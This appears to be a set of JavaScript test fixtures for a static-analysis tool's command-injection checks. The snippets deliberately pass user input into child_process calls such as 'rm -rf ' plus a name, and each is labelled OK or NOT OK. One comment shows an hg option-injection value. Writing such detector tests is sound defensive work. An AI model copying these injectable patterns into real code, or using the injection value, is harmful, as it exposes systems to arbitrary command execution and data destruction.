program.version('0.0.1');
|
||||
|
||||
cp.exec("cmd.sh " + program.opts().pizzaType); // NOT OK
|
||||
cp.exec("cmd.sh " + program.pizzaType); // NOT OK
|
||||
});
|
||||
|
||||
(function () {
|
||||
const { Command } = require('commander');
|
||||
const program = new Command();
|
||||
program.version('0.0.1');
|
||||
|
||||
cp.exec("cmd.sh " + program.opts().pizzaType); // NOT OK
|
||||
cp.exec("cmd.sh " + program.pizzaType); // NOT OK
|
||||
});
|
||||
@@ -0,0 +1,53 @@
|
||||
const express = require("express");
|
||||
const app = express();
|
||||
const { execFile } = require("child_process");
|
||||
|
||||
app.get("/", (req, res) => {
|
||||
const remote = req.query.remote;
|
||||
execFile("git", ["ls-remote", remote]); // NOT OK
|
||||
|
||||
execFile("git", ["fetch", remote]); // NOT OK
|
||||
|
||||
indirect("git", ["ls-remote", remote]); // NOT OK
|
||||
|
||||
const myArgs = req.query.args;
|
||||
|
||||
execFile("git", myArgs); // NOT OK
|
||||
|
||||
if (remote.startsWith("--")) {
|
||||
execFile("git", ["ls-remote", remote, "HEAD"]); // OK - it is very explicit that options that allowed here.
|
||||
} else {
|
||||
execFile("git", ["ls-remote", remote, "HEAD"]); // OK - it's not an option
|
||||
}
|
||||
|
||||
if (remote.startsWith("git@")) {
|
||||
execFile("git", ["ls-remote", remote, "HEAD"]); // OK - it's a git URL
|
||||
} else {
|
||||
execFile("git", ["ls-remote", remote, "HEAD"]); // NOT OK - unknown starting string
|
||||
}
|
||||
|
||||
execFile("git", req.query.args); // NOT OK - unknown args
|
||||
|
||||
execFile("git", ["add", req.query.args]); // OK - git add is not a command that can be used to execute arbitrary code
|
||||
|
||||
execFile("git", ["add", req.query.remote].concat([otherargs()])); // OK - git add is not a command that can be used to execute arbitrary code
|
||||
|
||||
execFile("git", ["ls-remote", req.query.remote].concat(req.query.otherArgs)); // NOT OK - but not found [INCONSISTENCY]. It's hard to track through concat.
|
||||
|
||||
execFile("git", ["add", "fpp"].concat(req.query.notVulnerable)); // OK
|
||||
|
||||
// hg
|
||||
execFile("hg", ["clone", req.query.remote]); // NOT OK
|
||||
|
||||
execFile("hg", ["whatever", req.query.remote]); // NOT OK - `--config=alias.whatever=touch pwned`
|
||||
|
||||
execFile("hg", req.query.args); // NOT OK - unknown args
|
||||
|
||||
execFile("hg", ["clone", "--", req.query.remote]); // OK
|
||||
});
|
||||
|
||||
function indirect(cmd, args) {
|
||||
execFile(cmd, args); // - OK - ish, the vulnerability not reported here
|
||||
}
|
||||
|
||||
app.listen(3000, () => console.log("Example app listening on port 3000!"));
|
||||
@@ -0,0 +1,13 @@
|
||||
var cp = require('child_process'),
|
||||
path = require('path'),
|
||||
execa = require("execa");
|
||||
(function() {
|
||||
cp.execFileSync('rm', ['-rf', path.join(__dirname, "temp")]); // GOOD
|
||||
cp.execSync('rm -rf ' + path.join(__dirname, "temp")); // BAD
|
||||
|
||||
execa.shell('rm -rf ' + path.join(__dirname, "temp")); // NOT OK
|
||||
execa.shellSync('rm -rf ' + path.join(__dirname, "temp")); // NOT OK
|
||||
|
||||
const safe = "\"" + path.join(__dirname, "temp") + "\"";
|
||||
execa.shellSync('rm -rf ' + safe); // OK
|
||||
});
|
||||
@@ -0,0 +1,7 @@
|
||||
// is imported from lib.js
|
||||
|
||||
const cp = require("child_process");
|
||||
|
||||
module.exports.thisMethodIsImported = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
@@ -0,0 +1,547 @@
|
||||
var cp = require("child_process")
|
||||
|
||||
module.exports = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
cp.execFile(name, [name]); // OK
|
||||
cp.execFile(name, name); // OK
|
||||
};
|
||||
|
||||
module.exports.foo = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
|
||||
module.exports.foo.bar = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
|
||||
function cla() { }
|
||||
cla.prototype.method = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
module.exports = new cla();
|
||||
|
||||
|
||||
function cla2() { }
|
||||
cla2.prototype.method = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
module.exports.bla = new cla2();
|
||||
|
||||
module.exports.lib2 = require("./lib2.js")
|
||||
|
||||
class Cla3 {
|
||||
constructor(name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
static foo(name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
bar(name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
cp.exec("rm -rf " + notASource); // OK
|
||||
}
|
||||
}
|
||||
|
||||
module.exports.cla3 = Cla3;
|
||||
|
||||
module.exports.mz = function (name) {
|
||||
require("mz/child_process").exec("rm -rf " + name); // NOT OK.
|
||||
}
|
||||
|
||||
module.exports.flow = function (name) {
|
||||
var cmd1 = "rm -rf " + name; // NOT OK.
|
||||
cp.exec(cmd1);
|
||||
|
||||
var cmd2 = "rm -rf " + name; // NOT OK.
|
||||
function myExec(cmd) {
|
||||
cp.exec(cmd);
|
||||
}
|
||||
myExec(cmd2);
|
||||
}
|
||||
|
||||
module.exports.stringConcat = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK.
|
||||
|
||||
cp.exec(name); // OK.
|
||||
|
||||
cp.exec("for foo in (" + name + ") do bla end"); // OK.
|
||||
|
||||
cp.exec("cat /foO/BAR/" + name) // NOT OK.
|
||||
|
||||
cp.exec("cat \"" + name + "\"") // NOT OK.
|
||||
|
||||
cp.exec("cat '" + name + "'") // NOT OK.
|
||||
|
||||
cp.exec("cat '/foo/bar" + name + "'") // NOT OK.
|
||||
|
||||
cp.exec(name + " some file") // OK.
|
||||
}
|
||||
|
||||
module.exports.arrays = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK.
|
||||
|
||||
var args1 = ["node"];
|
||||
args1.push(name); // NOT OK.
|
||||
cp.exec(args1.join(" "));
|
||||
|
||||
cp.exec(["rm -rf", name].join(" ")); // NOT OK.
|
||||
|
||||
cp.exec(["rm -rf", "\"" + name + "\""].join(" ")); // NOT OK.
|
||||
|
||||
cp.execFile("rm", ["-rf", name]); // OK
|
||||
}
|
||||
|
||||
var util = require("util");
|
||||
module.exports.format = function (name) {
|
||||
cp.exec(util.format("rm -rf %s", name)); // NOT OK
|
||||
|
||||
cp.exec(util.format("rm -rf '%s'", name)); // NOT OK
|
||||
|
||||
cp.exec(util.format("rm -rf '/foo/bar/%s'", name)); // NOT OK
|
||||
|
||||
cp.exec(util.format("%s foo/bar", name)); // OK
|
||||
|
||||
cp.exec(util.format("for foo in (%s) do bar end", name)); // OK
|
||||
|
||||
cp.exec(require("printf")('rm -rf %s', name)); // NOT OK
|
||||
}
|
||||
|
||||
module.exports.valid = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
if (!isValidName(name)) {
|
||||
return;
|
||||
}
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
}
|
||||
|
||||
module.exports.safe = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
if (!isSafeName(name)) {
|
||||
return;
|
||||
}
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
}
|
||||
|
||||
class Cla4 {
|
||||
wha(name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
|
||||
static bla(name) {
|
||||
cp.exec("rm -rf " + name); // OK - not exported
|
||||
}
|
||||
constructor(name) {
|
||||
cp.exec("rm -rf " + name); // OK - not exported
|
||||
}
|
||||
}
|
||||
module.exports.cla4 = new Cla4();
|
||||
|
||||
function Cla5(name) {
|
||||
cp.exec("rm -rf " + name); // OK - not exported
|
||||
}
|
||||
module.exports.cla5 = new Cla5();
|
||||
|
||||
module.exports.indirect = function (name) {
|
||||
let cmd = "rm -rf " + name; // NOT OK
|
||||
let sh = "sh";
|
||||
let args = ["-c", cmd];
|
||||
cp.spawn(sh, args, cb);
|
||||
}
|
||||
|
||||
module.exports.indirect2 = function (name) {
|
||||
let cmd = name;
|
||||
let sh = "sh";
|
||||
let args = ["-c", cmd];
|
||||
cp.spawn(sh, args, cb); // OK
|
||||
|
||||
let cmd2 = "rm -rf " + name;
|
||||
var args2 = [cmd2];
|
||||
cp.spawn(
|
||||
'cmd.exe',
|
||||
['/C', editor].concat(args2),
|
||||
{ stdio: 'inherit' }
|
||||
);
|
||||
}
|
||||
|
||||
module.exports.cmd = function (command, name) {
|
||||
cp.exec("fo | " + command); // OK
|
||||
|
||||
cp.exec("fo | " + name); // NOT OK
|
||||
|
||||
}
|
||||
|
||||
module.exports.sanitizer = function (name) {
|
||||
var sanitized = "'" + name.replace(/'/g, "'\\''") + "'"
|
||||
cp.exec("rm -rf " + sanitized); // OK
|
||||
|
||||
var broken = "'" + name.replace(/'/g, "'\''") + "'"
|
||||
cp.exec("rm -rf " + broken); // NOT OK
|
||||
}
|
||||
|
||||
var path = require("path");
|
||||
module.exports.guard = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
if (!path.exist(name)) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
return;
|
||||
}
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
}
|
||||
|
||||
module.exports.blacklistOfChars = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
if (/[^A-Za-z0-9_\/:=-]/.test(name)) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
} else {
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
}
|
||||
}
|
||||
|
||||
module.exports.whitelistOfChars = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
if (/^[A-Za-z0-9_\/:=-]$/.test(name)) {
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
} else {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
}
|
||||
|
||||
module.exports.blackList2 = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
if (!/^([a-zA-Z0-9]+))?$/.test(name)) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
process.exit(-1);
|
||||
}
|
||||
|
||||
cp.exec("rm -rf " + name); // OK - but FP due to tracking flow through `process.exit()`. [INCONSISTENCY]
|
||||
}
|
||||
|
||||
module.exports.accessSync = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
try {
|
||||
path.accessSync(name);
|
||||
} catch (e) {
|
||||
return;
|
||||
}
|
||||
|
||||
cp.exec("rm -rf " + name); // OK - but FP due to `path.accessSync` not being recognized as a sanitizer. [INCONSISTENCY]
|
||||
}
|
||||
|
||||
var cleanInput = function (s) {
|
||||
if (/[^A-Za-z0-9_\/:=-]/.test(s)) {
|
||||
s = "'" + s.replace(/'/g, "'\\''") + "'";
|
||||
s = s.replace(/^(?:'')+/g, '') // unduplicate single-quote at the beginning
|
||||
.replace(/\\'''/g, "\\'"); // remove non-escaped single-quote if there are enclosed between 2 escaped
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
module.exports.goodSanitizer = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
var cleaned = cleanInput(name);
|
||||
|
||||
cp.exec("rm -rf " + cleaned); // OK
|
||||
}
|
||||
|
||||
var fs = require("fs");
|
||||
module.exports.guard2 = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
if (!fs.existsSync("prefix/" + name)) {
|
||||
cp.exec("rm -rf prefix/" + name); // NOT OK
|
||||
return;
|
||||
}
|
||||
cp.exec("rm -rf prefix/" + name); // OK
|
||||
}
|
||||
|
||||
module.exports.sanitizerProperty = function (obj) {
|
||||
cp.exec("rm -rf " + obj.version); // NOT OK
|
||||
|
||||
obj.version = "";
|
||||
|
||||
cp.exec("rm -rf " + obj.version); // OK
|
||||
}
|
||||
|
||||
module.exports.Foo = class Foo {
|
||||
start(opts) {
|
||||
cp.exec("rm -rf " + opts.bla); // NOT OK
|
||||
this.opts = {};
|
||||
this.opts.bla = opts.bla
|
||||
|
||||
cp.exec("rm -rf " + this.opts.bla); // NOT OK
|
||||
}
|
||||
}
|
||||
|
||||
function sanitizeShellString(str) {
|
||||
let result = str;
|
||||
result = result.replace(/>/g, "");
|
||||
result = result.replace(/</g, "");
|
||||
result = result.replace(/\*/g, "");
|
||||
result = result.replace(/\?/g, "");
|
||||
result = result.replace(/\[/g, "");
|
||||
result = result.replace(/\]/g, "");
|
||||
result = result.replace(/\|/g, "");
|
||||
result = result.replace(/\`/g, "");
|
||||
result = result.replace(/$/g, "");
|
||||
result = result.replace(/;/g, "");
|
||||
result = result.replace(/&/g, "");
|
||||
result = result.replace(/\)/g, "");
|
||||
result = result.replace(/\(/g, "");
|
||||
result = result.replace(/\$/g, "");
|
||||
result = result.replace(/#/g, "");
|
||||
result = result.replace(/\\/g, "");
|
||||
result = result.replace(/\n/g, "");
|
||||
return result
|
||||
}
|
||||
|
||||
module.exports.sanitizer2 = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
var sanitized = sanitizeShellString(name);
|
||||
cp.exec("rm -rf " + sanitized); // OK
|
||||
}
|
||||
|
||||
module.exports.typeofcheck = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
if (typeof name === "undefined") {
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
} else {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
}
|
||||
|
||||
module.exports.typeofcheck = function (arg) {
|
||||
var cmd = "MyWindowCommand | findstr /i /c:" + arg; // NOT OK
|
||||
cp.exec(cmd);
|
||||
}
|
||||
|
||||
function id(x) {
|
||||
return x;
|
||||
}
|
||||
|
||||
module.exports.id = id;
|
||||
|
||||
module.exports.unproblematic = function() {
|
||||
cp.exec("rm -rf " + id("test")); // OK
|
||||
};
|
||||
|
||||
module.exports.problematic = function(n) {
|
||||
cp.exec("rm -rf " + id(n)); // NOT OK
|
||||
};
|
||||
|
||||
module.exports.typeofNumber = function(n) {
|
||||
if (typeof n === "number") {
|
||||
cp.exec("rm -rf " + n); // OK
|
||||
}
|
||||
};
|
||||
|
||||
function boundProblem(safe, unsafe) {
|
||||
cp.exec("rm -rf " + safe); // OK
|
||||
cp.exec("rm -rf " + unsafe); // NOT OK
|
||||
}
|
||||
|
||||
Object.defineProperty(module.exports, "boundProblem", {
|
||||
get: function () {
|
||||
return boundProblem.bind(this, "safe");
|
||||
}
|
||||
});
|
||||
|
||||
function MyTrainer(opts) {
|
||||
this.learn_args = opts.learn_args
|
||||
}
|
||||
|
||||
MyTrainer.prototype = {
|
||||
train: function() {
|
||||
var command = "learn " + this.learn_args + " " + model; // NOT OK
|
||||
cp.exec(command);
|
||||
}
|
||||
};
|
||||
module.exports.MyTrainer = MyTrainer;
|
||||
|
||||
|
||||
function yetAnohterSanitizer(str) {
|
||||
const s = str || '';
|
||||
let result = '';
|
||||
for (let i = 0; i <= 2000; i++) {
|
||||
if (!(s[i] === undefined ||
|
||||
s[i] === '>' ||
|
||||
s[i] === '<' ||
|
||||
s[i] === '*' ||
|
||||
s[i] === '?' ||
|
||||
s[i] === '[' ||
|
||||
s[i] === ']' ||
|
||||
s[i] === '|' ||
|
||||
s[i] === '˚' ||
|
||||
s[i] === '$' ||
|
||||
s[i] === ';' ||
|
||||
s[i] === '&' ||
|
||||
s[i] === '(' ||
|
||||
s[i] === ')' ||
|
||||
s[i] === ']' ||
|
||||
s[i] === '#' ||
|
||||
s[i] === '\\' ||
|
||||
s[i] === '\t' ||
|
||||
s[i] === '\n' ||
|
||||
s[i] === '\'' ||
|
||||
s[i] === '`' ||
|
||||
s[i] === '"')) {
|
||||
result = result + s[i];
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
module.exports.sanitizer3 = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
var sanitized = yetAnohterSanitizer(name);
|
||||
cp.exec("rm -rf " + sanitized); // OK
|
||||
}
|
||||
|
||||
const cp = require("child_process");
|
||||
const spawn = cp.spawn;
|
||||
module.exports.shellOption = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
cp.execFile("rm", ["-rf", name], {shell: true}, (err, out) => {}); // NOT OK
|
||||
cp.spawn("rm", ["-rf", name], {shell: true}); // NOT OK
|
||||
cp.execFileSync("rm", ["-rf", name], {shell: true}); // NOT OK
|
||||
cp.spawnSync("rm", ["-rf", name], {shell: true}); // NOT OK
|
||||
|
||||
const SPAWN_OPT = {shell: true};
|
||||
|
||||
spawn("rm", ["first", name], SPAWN_OPT); // NOT OK
|
||||
var arr = [];
|
||||
arr.push(name); // NOT OK
|
||||
spawn("rm", arr, SPAWN_OPT);
|
||||
spawn("rm", build("node", (name ? name + ':' : '') + '-'), SPAWN_OPT); // This is bad, but the alert location is down in `build`.
|
||||
}
|
||||
|
||||
function build(first, last) {
|
||||
var arr = [];
|
||||
if (something() === 'gm')
|
||||
arr.push('convert');
|
||||
first && arr.push(first);
|
||||
last && arr.push(last); // NOT OK
|
||||
return arr;
|
||||
};
|
||||
|
||||
var asyncExec = require("async-execute");
|
||||
module.exports.asyncStuff = function (name) {
|
||||
asyncExec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
|
||||
const myFuncs = {
|
||||
myFunc: function (name) {
|
||||
asyncExec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
};
|
||||
|
||||
module.exports.blabity = {};
|
||||
|
||||
Object.defineProperties(
|
||||
module.exports.blabity,
|
||||
Object.assign(
|
||||
{},
|
||||
Object.entries(myFuncs).reduce(
|
||||
(props, [ key, value ]) => Object.assign(
|
||||
props,
|
||||
{
|
||||
[key]: {
|
||||
value,
|
||||
configurable: true,
|
||||
},
|
||||
},
|
||||
),
|
||||
{}
|
||||
)
|
||||
)
|
||||
);
|
||||
|
||||
const path = require('path');
|
||||
const {promisify} = require('util');
|
||||
|
||||
const exec = promisify(require('child_process').exec);
|
||||
|
||||
module.exports = function check(config) {
|
||||
const cmd = path.join(config.installedPath, 'myBinary -v'); // NOT OK
|
||||
return exec(cmd);
|
||||
}
|
||||
|
||||
module.exports.splitConcat = function (name) {
|
||||
let args = ' my name is ' + name; // NOT OK
|
||||
let cmd = 'echo';
|
||||
cp.exec(cmd + args);
|
||||
}
|
||||
|
||||
module.exports.myCommand = function (myCommand) {
|
||||
let cmd = `cd ${cwd} ; ${myCommand}`; // OK - the parameter name suggests that it is purposely a shell command.
|
||||
cp.exec(cmd);
|
||||
}
|
||||
|
||||
(function () {
|
||||
var MyThing = {
|
||||
cp: require('child_process')
|
||||
};
|
||||
|
||||
module.exports.myIndirectThing = function (name) {
|
||||
MyThing.cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
var imp = require('./isImported');
|
||||
for (var name in imp){
|
||||
module.exports[name] = imp[name];
|
||||
}
|
||||
|
||||
module.exports.sanitizer4 = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
|
||||
if (isNaN(name)) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
} else {
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
}
|
||||
|
||||
if (isNaN(parseInt(name))) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
} else {
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
}
|
||||
|
||||
if (isNaN(+name)) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
} else {
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
}
|
||||
|
||||
if (isNaN(parseInt(name, 10))) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
} else {
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
}
|
||||
|
||||
if (isNaN(name - 0)) {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
} else {
|
||||
cp.exec("rm -rf " + name); // OK
|
||||
}
|
||||
|
||||
if (isNaN(name | 0)) { // <- not a sanitizer
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
} else {
|
||||
cp.exec("rm -rf " + name); // NOT OK
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
var cp = require("child_process")
|
||||
|
||||
module.exports = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK - is imported from main module.
|
||||
};
|
||||
|
||||
module.exports.foo = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK - is imported from main module.
|
||||
};
|
||||
@@ -0,0 +1,5 @@
|
||||
var cp = require("child_process")
|
||||
|
||||
module.exports = function (name) {
|
||||
cp.exec("rm -rf " + name); // OK, is not exported to a main-module.
|
||||
};
|
||||
@@ -0,0 +1,6 @@
|
||||
// this file is imported from `index.js`.
|
||||
define(function (require) {
|
||||
return {
|
||||
amdSub: require("./amdSub"),
|
||||
};
|
||||
});
|
||||
@@ -0,0 +1,5 @@
|
||||
const cp = require("child_process");
|
||||
|
||||
module.exports = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK - this function is exported from `amd.js`
|
||||
};
|
||||
@@ -0,0 +1,15 @@
|
||||
var cp = require("child_process")
|
||||
|
||||
module.exports = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK - functions exported as part of a submodule are also flagged.
|
||||
};
|
||||
|
||||
module.exports.foo = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK - this is being called explicitly from child_process-test.js
|
||||
};
|
||||
|
||||
module.exports.amd = require("./amd.js");
|
||||
|
||||
module.exports.arrToShell = function (cmd, arr) {
|
||||
cp.spawn("echo", arr, {shell: true}); // NOT OK
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
var cp = require("child_process")
|
||||
|
||||
export default function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK - the "files" directory points to this file.
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
var cp = require("child_process")
|
||||
|
||||
module.exports = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK - the "files" directory points to this file.
|
||||
};
|
||||
@@ -0,0 +1,5 @@
|
||||
var cp = require("child_process")
|
||||
|
||||
module.exports = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK - functions exported as part of a submodule are also flagged.
|
||||
};
|
||||
@@ -0,0 +1,8 @@
|
||||
const dispatch = {
|
||||
GET: require("./bla"),
|
||||
POST: require("./subsub"),
|
||||
};
|
||||
|
||||
module.exports.foo = function (name, type) {
|
||||
dispatch[type](name);
|
||||
};
|
||||
@@ -0,0 +1,5 @@
|
||||
const cp = require("child_process")
|
||||
|
||||
module.exports = function (name) {
|
||||
cp.exec("rm -rf " + name); // NOT OK - functions exported as part of a submodule are also flagged.
|
||||
};
|
||||
@@ -0,0 +1,166 @@
|
||||
var express = require('express');
|
||||
var child_process = require('child_process');
|
||||
var execSync = child_process.execSync;
|
||||
var exec = child_process.exec;
|
||||
var spawn = child_process.spawn;
|
||||
var spawnSync = child_process.spawnSync;
|
||||
var fs = require('fs');
|
||||
var app = express();
|
||||
|
||||
exec("cat foo/bar", function (err, out) {}); // NOT OK
|
||||
|
||||
exec("cat /proc/" + id + "/status", function (err, out) { // NOT OK
|
||||
console.log(out);
|
||||
});
|
||||
|
||||
execSync('cat /proc/cpuinfo').toString(); // NOT OK.
|
||||
|
||||
execSync(`cat ${newpath}`) // NOT OK
|
||||
|
||||
execSync('cat package.json | wc -l'); // OK - pipes!
|
||||
|
||||
execSync('cat /proc/cpuinfo /foo/bar').toString(); // OK multiple files.
|
||||
|
||||
execSync(`cat ${newpath} /foo/bar`).toString(); // OK multiple files.
|
||||
|
||||
exec(`cat ${newpath} | grep foo`, function (err, out) { }) // OK - pipes
|
||||
|
||||
execSync(`cat ${newpath}`, {uid: 1000}) // OK - non trivial options
|
||||
|
||||
exec('cat *.js | wc -l', { cwd: './' }, function (err, out) { }); // OK - wildcard and pipes
|
||||
|
||||
execSync(`cat foo/bar/${newpath}`); // NOT OK ("encoding" is used EXACTLY the same way in fs.readFileSync)
|
||||
|
||||
execSync(`cat foo/bar/${newpath}`, {encoding: 'utf8'}); // NOT OK ("encoding" is used EXACTLY the same way in fs.readFileSync)
|
||||
|
||||
execSync("/bin/cat /proc/cpuinfo", { uid: 1000, gid: 1000, encoding: 'utf8'}); // OK (fs.readFileSync cannot emulate uid / gid))
|
||||
|
||||
execSync('cat /proc/cpuinfo > foo/bar/baz').toString(); // OK.
|
||||
|
||||
execSync(`cat ${newpath} > ${destpath}`).toString(); // OK.
|
||||
|
||||
execSync(`cat ${files.join(' ')} > ${outFile}`); // OK
|
||||
|
||||
execSync(`cat ${files.join(' ')}`); // OK - but flagged - not just a simple file read [INCONSISTENCY]
|
||||
|
||||
exec("cat /proc/cpuinfo | grep name"); // OK - pipes
|
||||
|
||||
execSync(`cat ${newpath} | ${othertool}`); // OK - pipes
|
||||
|
||||
function cat(file) {
|
||||
return execSync('cat ' + file).toString(); // NOT OK
|
||||
}
|
||||
|
||||
execSync("sh -c 'cat " + newpath + "'"); // NOT OK - but not flagged [INCONSISTENCY]
|
||||
|
||||
var execFile = child_process.execFile;
|
||||
var execFileSync = child_process.execFileSync;
|
||||
|
||||
execFile('/bin/cat', [ 'pom.xml' ], function(error, stdout, stderr ) { // NOT OK
|
||||
// Not using stderr
|
||||
console.log(stdout);
|
||||
});
|
||||
|
||||
execFile('/bin/cat', [ 'pom.xml' ], function(error, stdout, stderr ) { // OK. - stderr is used.
|
||||
console.log(stderr);
|
||||
});
|
||||
|
||||
|
||||
execFile('/bin/cat', [ 'pom.xml' ], {encoding: 'utf8'}, function(error, stdout, stderr ) { // NOT OK
|
||||
// Not using stderr
|
||||
console.log(stdout);
|
||||
});
|
||||
|
||||
execFileSync('/bin/cat', [ 'pom.xml' ], {encoding: 'utf8'}); // NOT OK
|
||||
|
||||
execFileSync('/bin/cat', [ 'pom.xml' ]); // NOT OK
|
||||
|
||||
var opts = {encoding: 'utf8'};
|
||||
execFileSync('/bin/cat', [ 'pom.xml' ], opts); // NOT OK
|
||||
|
||||
var anOptsFileNameThatIsTooLongToBePrintedByToString = {encoding: 'utf8'};
|
||||
execFileSync('/bin/cat', [ 'pom.xml' ], anOptsFileNameThatIsTooLongToBePrintedByToString); // NOT OK
|
||||
|
||||
execFileSync('/bin/cat', [ 'pom.xml' ], {encoding: 'someEncodingValueThatIsCompletelyBogusAndTooLongForToString'}); // NOT OK
|
||||
|
||||
execFileSync('/bin/cat', [ "foo/" + newPath + "bar" ], {encoding: 'utf8'}); // NOT OK
|
||||
|
||||
execSync('cat /proc/cpuinfo' + foo).toString(); // NOT OK.
|
||||
|
||||
execFileSync('/bin/cat', [ `foo/bar/${newpath}` ]); // NOT OK
|
||||
|
||||
execFileSync('node', [ `foo/bar/${newpath}` ]); // OK - not a call to cat
|
||||
|
||||
exec("cat foo/bar", function (err, out) {}); // NOT OK
|
||||
|
||||
exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
|
||||
|
||||
exec("cat foo/bar", (err, out) => doSomethingWith(out)); // NOT OK
|
||||
|
||||
execFileSync('/bin/cat', [ 'pom.xml' ], unknownOptions); // OK - unknown options.
|
||||
|
||||
exec("node foo/bar", (err, out) => doSomethingWith(out)); // OK - Not a call to cat
|
||||
|
||||
execFileSync('node', [ `cat` ]); // OK - not a call to cat
|
||||
|
||||
exec("cat foo/bar&", function (err, out) {}); // OK - contains &
|
||||
exec("cat foo/bar,", function (err, out) {}); // OK - contains ,
|
||||
exec("cat foo/bar$", function (err, out) {}); // OK - contains $
|
||||
exec("cat foo/bar`", function (err, out) {}); // OK - contains `
|
||||
|
||||
spawn('cat', { stdio: ['pipe', stdin, 'inherit'] }); // OK - Non trivial use. (But weird API use.)
|
||||
|
||||
(function () {
|
||||
const cat = spawn('cat', [filename]); // OK - non trivial use.
|
||||
cat.stdout.on('data', (data) => {
|
||||
res.write(data);
|
||||
});
|
||||
cat.stdout.on('end', () => res.end());
|
||||
})();
|
||||
|
||||
var dead = exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
|
||||
|
||||
var notDead = exec("cat foo/bar", (err, out) => {console.log(out)}); // OK
|
||||
console.log(notDead);
|
||||
|
||||
(function () {
|
||||
var dead = exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
|
||||
|
||||
someCall(
|
||||
exec("cat foo/bar", (err, out) => {console.log(out)}) // OK - non-trivial use of returned proccess.
|
||||
);
|
||||
|
||||
return exec("cat foo/bar", (err, out) => {console.log(out)}); // OK - non-trivial use of returned proccess.
|
||||
})();
|
||||
|
||||
const stdout2 = execSync('cat /etc/dnsmasq.conf', { // NOT OK.
|
||||
encoding: 'utf8'
|
||||
});
|
||||
|
||||
exec('/bin/cat', function (e, s) {}); // OK
|
||||
|
||||
spawn("cat") // OK
|
||||
|
||||
|
||||
var shelljs = require("shelljs");
|
||||
shelljs.exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
|
||||
shelljs.exec("cat foo/bar", {encoding: 'utf8'}); // NOT OK
|
||||
shelljs.exec("cat foo/bar", {encoding: 'utf8'}, (err, out) => {console.log(out)}); // NOT OK
|
||||
|
||||
let cspawn = require('cross-spawn');
|
||||
cspawn('cat', ['foo/bar'], { encoding: 'utf8' }); // NOT OK
|
||||
cspawn('cat', ['foo/bar'], { encoding: 'utf8' }, (err, out) => {console.log(out)}); // NOT OK
|
||||
